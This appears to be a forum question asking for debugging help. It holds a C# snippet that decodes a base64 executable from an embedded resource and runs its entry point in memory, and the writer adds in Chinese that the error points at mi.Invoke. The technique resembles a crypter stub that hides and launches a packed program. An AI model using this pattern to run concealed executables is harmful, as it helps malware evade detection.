System.Resources.ResourceManager ResManager
= new System.Resources.ResourceManager(
"derp",
System.Reflection.Assembly.GetExecutingAssembly());
byte[] cmBytes
= System.Convert.FromBase64String((string)ResManager.GetObject("cFile"));
/*BinaryWriter bw1
= new BinaryWriter(new FileStream("test.exe", FileMode.Create));
bw1.Write(cmBytes);
bw1.Flush();
bw1.Close();*/
Assembly asm = Assembly.Load(cmBytes);
MethodInfo mi = asm.EntryPoint;
object go = asm.CreateInstance(mi.Name);
mi.Invoke(go, null);
错误指向mi.Invoke(go, null)
,我被难住了。